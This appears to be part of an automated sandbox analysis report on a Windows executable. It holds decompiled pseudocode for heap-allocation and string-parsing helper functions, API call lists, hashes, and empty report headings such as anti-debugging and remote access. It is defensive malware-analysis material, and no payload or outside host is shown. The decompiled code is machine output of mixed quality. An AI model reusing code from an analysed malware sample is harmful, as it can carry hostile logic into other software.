Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Strings

;B, xrefs: 0043544C

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$ByteCharCurrentDebuggerMultiPresentTerminateWide__alloca_probe_16
String ID: ;B
API String ID: 111755307-393468387
Opcode ID: 8ea410643d142761c89e6c04aa6671bc69e577f5c592ab97a86f4671e6a134c5
Instruction ID: 7d3a25d257b8dbb1be21a50f3f472715fe0ffdb2b5bd2b7bfe5024e64f75cda4
Opcode Fuzzy Hash: 8ea410643d142761c89e6c04aa6671bc69e577f5c592ab97a86f4671e6a134c5
Instruction Fuzzy Hash: A6516D71900619BBCF219F95DC40DEFBFBAEF4D354F20112AE914A6250D7399D41CBA8

Function 0042BFBD, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117

C-Code - Quality: 57%

			E0042BFBD(intOrPtr __ecx, void* __eflags, intOrPtr _a4, signed int _a8) {
				void* __ebx;
				void* __edi;
				intOrPtr _t18;
				signed int _t19;
				signed int _t20;
				signed int _t22;
				signed int _t23;
				signed int* _t28;
				signed int _t33;
				intOrPtr _t34;
				intOrPtr _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t40;
				void* _t41;
				void* _t42;

				_t34 = __ecx;
				_t38 = _a4;
				E0042DD30(_t38, _t38, 0, 0x90);
				_t40 = _a8;
				_t18 =  *_t40;
				_t42 = _t41 + 0xc;
				if(_t18 != 0) {
					__eflags = _t18 - 0x2e;
					if(_t18 != 0x2e) {
						L7:
						_a8 = 0;
						_t19 = E004316E0(_t34, _t40, "_.,");
						__eflags = _t19;
						while(1) {
							_pop(_t36);
							if(__eflags == 0) {
								break;
							}
							__eflags = _a8;
							_t39 = _t19 + _t40;
							_t33 =  *_t39;
							if(_a8 != 0) {
								__eflags = _a8 - 1;
								if(_a8 != 1) {
									__eflags = _a8 - 2;
									if(_a8 != 2) {
										break;
									}
									__eflags = _t19 - 0x10;
									if(_t19 >= 0x10) {
										break;
									}
									__eflags = _t33;
									if(_t33 == 0) {
										L20:
										_push(_t19);
										_push(_t40);
										_push(0x10);
										_t22 = _a4 + 0x80;
										__eflags = _t22;
										L21:
										_push(_t22);
										L22:
										_t23 = E0042A949(_t37);
										_t42 = _t42 + 0x10;
										__eflags = _t23;
										if(_t23 != 0) {
											__eflags = 0;
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											E00429943(_t33, _t36, _t37, _t39, 0);
											_t42 = _t42 + 0x14;
										}
										__eflags = _t33 - 0x2c;
										if(_t33 == 0x2c) {
											goto L1;
										} else {
											__eflags = _t33;
											if(_t33 == 0) {
												goto L1;
											}
											_a8 = _a8 + 1;
											_t40 = _t39 + 1;
											_t19 = E004316E0(_t36, _t40, "_.,");
											__eflags = _t19;
											continue;
										}
									}
									__eflags = _t33 - 0x2c;
									if(_t33 != 0x2c) {
										break;
									}
									goto L20;
								}
								__eflags = _t19 - 0x40;
								if(_t19 >= 0x40) {
									break;
								}
								__eflags = _t33 - 0x5f;
								if(_t33 == 0x5f) {
									break;
								}
								_push(_t19);
								_push(_t40);
								_push(0x40);
								_t22 = _a4 + 0x40;
								goto L21;
							}
							__eflags = _t19 - 0x40;
							if(_t19 >= 0x40) {
								break;
							}
							__eflags = _t33 - 0x2e;
							if(_t33 == 0x2e) {
								break;
							}
							_push(_t19);
							_push(_t40);
							_push(0x40);
							_push(_a4);
							goto L22;
						}
						_t20 = _t19 | 0xffffffff;
						__eflags = _t20;
						return _t20;
					}
					_t28 = _t40 + 1;
					__eflags =  *_t28;
					if( *_t28 == 0) {
						goto L7;
					}
					__eflags = E0042A949(_t37, _t38 + 0x80, 0x10, _t28, 0xf);
					if(__eflags != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E00429943(0, _t34, _t37, _t38, __eflags);
					}
					 *((char*)(_t38 + 0x8f)) = 0;
				}
				L1:
				return 0;
			}

0x0042bfbd
0x0042bfc3
0x0042bfcf
0x0042bfd4
0x0042bfd7
0x0042bfd9
0x0042bfde
0x0042bfe7
0x0042bfe9
0x0042c01f
0x0042c025
0x0042c028
0x0042c02d
0x0042c0d6
0x0042c0d7
0x0042c0d8
0x00000000
0x00000000
0x0042c034
0x0042c038
0x0042c03b
0x0042c03d
0x0042c05a
0x0042c05e
0x0042c076
0x0042c07a
0x00000000
0x00000000
0x0042c07c
0x0042c07f
0x00000000
0x00000000
0x0042c081
0x0042c083
0x0042c08a
0x0042c08a
0x0042c08e
0x0042c08f
0x0042c091
0x0042c091
0x0042c096
0x0042c096
0x0042c097
0x0042c097
0x0042c09c
0x0042c09f
0x0042c0a1
0x0042c0a3
0x0042c0a5
0x0042c0a6
0x0042c0a7
0x0042c0a8
0x0042c0a9
0x0042c0aa
0x0042c0af
0x0042c0af
0x0042c0b2
0x0042c0b5
0x00000000
0x0042c0bb
0x0042c0bb
0x0042c0bd
0x00000000
0x00000000
0x0042c0c3
0x0042c0c6
0x0042c0cf
0x0042c0d4
0x00000000
0x0042c0d4
0x0042c0b5
0x0042c085
0x0042c088
0x00000000
0x00000000
0x00000000
0x0042c088
0x0042c060
0x0042c063
0x00000000
0x00000000
0x0042c065
0x0042c068
0x00000000
0x00000000
0x0042c06a
0x0042c06e
0x0042c06f
0x0042c071
0x00000000
0x0042c071
0x0042c03f
0x0042c042
0x00000000
0x00000000
0x0042c048
0x0042c04b
0x00000000
0x00000000
0x0042c051
0x0042c052
0x0042c053
0x0042c055
0x00000000
0x0042c055
0x0042c0de
0x0042c0de
0x00000000
0x0042c0de
0x0042bfeb
0x0042bfee
0x0042bff0
0x00000000
0x00000000
0x0042c006
0x0042c008
0x0042c00a
0x0042c00b
0x0042c00c
0x0042c00d
0x0042c00e
0x0042c00f
0x0042c014
0x0042c017
0x0042c017
0x0042bfe0
0x00000000

APIs

_strcspn.LIBCMT ref: 0042C028

Part of subcall function 00429943: IsDebuggerPresent.KERNEL32 ref: 004299ED
Part of subcall function 00429943: SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
Part of subcall function 00429943: UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
Part of subcall function 00429943: GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
Part of subcall function 00429943: TerminateProcess.KERNEL32(00000000), ref: 00429A23

_strcspn.LIBCMT ref: 0042C0CF

Strings

_.,, xrefs: 0042C01F, 0042C0C9

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled_strcspn$CurrentDebuggerPresentTerminate
String ID: _.,
API String ID: 458160661-2709443920
Opcode ID: 011dd5f6f2fdde4b8841caf585b13de2f3a28cad6a84d3396bbe15e70f1fe1ca
Instruction ID: a1c9e27e056c5eb602cffd5dd64bfc45ea254557b277a8d78591b1224935a8a8
Opcode Fuzzy Hash: 011dd5f6f2fdde4b8841caf585b13de2f3a28cad6a84d3396bbe15e70f1fe1ca
Instruction Fuzzy Hash: 2E315971780268EEEF3059A5AC82BBF3709EB113A4FC44417F919C6242E2BCD84497AD

Function 0042CFEC, Relevance: 5.1, APIs: 4, Instructions: 53
memory

C-Code - Quality: 100%

			E0042CFEC() {
				intOrPtr _t8;
				void* _t9;
				void* _t11;
				void* _t17;
				signed int _t19;
				intOrPtr* _t21;

				_t8 =  *0x43fad0; // 0x0
				_t19 =  *0x43fac0; // 0x0
				if(_t19 != _t8) {
					L4:
					_t21 =  *0x43fac4 + _t19 * 0x14;
					_t9 = HeapAlloc( *0x43f4cc, 8, 0x41c4);
					 *(_t21 + 0x10) = _t9;
					if(_t9 == 0) {
						L2:
						return 0;
					}
					_t11 = VirtualAlloc(0, 0x100000, 0x2000, 4);
					 *(_t21 + 0xc) = _t11;
					if(_t11 != 0) {
						 *(_t21 + 8) =  *(_t21 + 8) | 0xffffffff;
						 *_t21 = 0;
						 *((intOrPtr*)(_t21 + 4)) = 0;
						 *0x43fac0 =  *0x43fac0 + 1;
						 *( *(_t21 + 0x10)) =  *( *(_t21 + 0x10)) | 0xffffffff;
						return _t21;
					}
					HeapFree( *0x43f4cc, 0,  *(_t21 + 0x10));
					goto L2;
				}
				_t17 = HeapReAlloc( *0x43f4cc, 0,  *0x43fac4, (_t8 + 0x10) * 0x14);
				if(_t17 != 0) {
					 *0x43fad0 =  *0x43fad0 + 0x10;
					_t19 =  *0x43fac0; // 0x0
					 *0x43fac4 = _t17;
					goto L4;
				}
				goto L2;
			}

0x0042cfec
0x0042cff2
0x0042cffd
0x0042d033
0x0042d036
0x0042d049
0x0042d051
0x0042d054
0x0042d01d
0x00000000
0x0042d01d
0x0042d063
0x0042d06b
0x0042d06e
0x0042d082
0x0042d086
0x0042d088
0x0042d08b
0x0042d094
0x00000000
0x0042d097
0x0042d07a
0x00000000
0x0042d07a
0x0042d013
0x0042d01b
0x0042d021
0x0042d028
0x0042d02e
0x00000000
0x0042d02e
0x00000000

APIs

HeapReAlloc.KERNEL32(00000000,-00000010,?,00000000,0042D99D,?,?,0003B62C), ref: 0042D013
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,0042D99D,?,?,0003B62C), ref: 0042D049
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 0042D063
HeapFree.KERNEL32(00000000,?), ref: 0042D07A

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 2bdbd7e36f67cd9c5b10479692ebc85eceda1b36c494b6e4b689ab20f5d1fca3
Instruction ID: 5724a1a2fcc3c1f71d2985d5283d792ffe185835d8e69dda9de6d188b111a055
Opcode Fuzzy Hash: 2bdbd7e36f67cd9c5b10479692ebc85eceda1b36c494b6e4b689ab20f5d1fca3
Instruction Fuzzy Hash: EA115171E00211ABC7205F28FC059167BB5F794714B54A63BF696D75F0E3709C099F68

Function 00403E60, Relevance: 5.1, APIs: 4, Instructions: 51memory

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,?,00415143,00000028,?,00000000,?,00000000,?), ref: 00403E83
HeapFree.KERNEL32(00000000), ref: 00403E8A
GetProcessHeap.KERNEL32(00000008,00000001,?,?,?,00415143,00000028,?,00000000,?,00000000,?), ref: 00403E98
HeapAlloc.KERNEL32(00000000,?,?,00415143,00000028,?,00000000,?,00000000,?), ref: 00403E9F

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4f60b2ebbff3acf0d417bc42835ec0776b431e250b778c18d70c61b3e551452f
Instruction ID: 8b0ca3a2fa674bd65a20f9e012e64851ec070109bf179d3d650302a842c48271
Opcode Fuzzy Hash: 4f60b2ebbff3acf0d417bc42835ec0776b431e250b778c18d70c61b3e551452f
Instruction Fuzzy Hash: C011E635240208EFDB04CF54C888A9ABBA6FF89365F14C169EC094B391C775EE81CF90

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 8UT1RfjZ0z.exe

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Screenshots

Thumbnails

Startup

Created / dropped Files

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

Static File Info

General

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: 8UT1RfjZ0z.exe PID: 4008 Parent PID: 3776

General

Chronological Activities

Disassembly

Code Analysis

Function 00404E60, Relevance: 503.6, APIs: 13, Strings: 274, Instructions: 1378
stringCrypto

Function 00415FE0, Relevance: 305.1, APIs: 30, Strings: 144, Instructions: 605
memorylibrarysleepCrypto

Function 0040EB00, Relevance: 275.6, APIs: 24, Strings: 133, Instructions: 860
threadmemorysleepCrypto

Function 0040DD20, Relevance: 270.0, APIs: 11, Strings: 143, Instructions: 454
registrysleeplibrary

Function 0041A4F0, Relevance: 256.1, APIs: 20, Strings: 126, Instructions: 578
memoryfilestringCrypto

Function 00406E70, Relevance: 100.1, APIs: 10, Strings: 47, Instructions: 335
librarymemoryloader

Function 00403130, Relevance: 93.0, APIs: 12, Strings: 41, Instructions: 241
timememoryfile

Function 002302B2, Relevance: 61.4, APIs: 18, Strings: 17, Instructions: 134
libraryloaderthread

Function 0040E5B0, Relevance: 54.5, APIs: 19, Strings: 12, Instructions: 261
memoryfilestring

Function 00413990, Relevance: 396.3, APIs: 42, Strings: 184, Instructions: 808
threadmemorystring

Function 00412D50, Relevance: 252.4, APIs: 4, Strings: 140, Instructions: 438
registry

Function 00416AF0, Relevance: 78.9, APIs: 4, Strings: 41, Instructions: 112
synchronization

Function 0041B210, Relevance: 72.1, APIs: 2, Strings: 46, Instructions: 149
memory

Function 00414D90, Relevance: 70.3, APIs: 3, Strings: 37, Instructions: 299
sleepnetwork

Function 00403EF0, Relevance: 52.6, APIs: 12, Strings: 18, Instructions: 135
memory

Function 00428F2A, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 46
libraryloader

Function 00424EB0, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 118
sleep

Function 00428E23, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 32
libraryloader

Function 00428DB7, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 32
libraryloader

Function 00424830, Relevance: 12.2, APIs: 1, Strings: 7, Instructions: 195
memory

Function 00425240, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
libraryloader

Function 004296E6, Relevance: 7.6, APIs: 5, Instructions: 52
timethread

Function 0042A602, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
libraryloader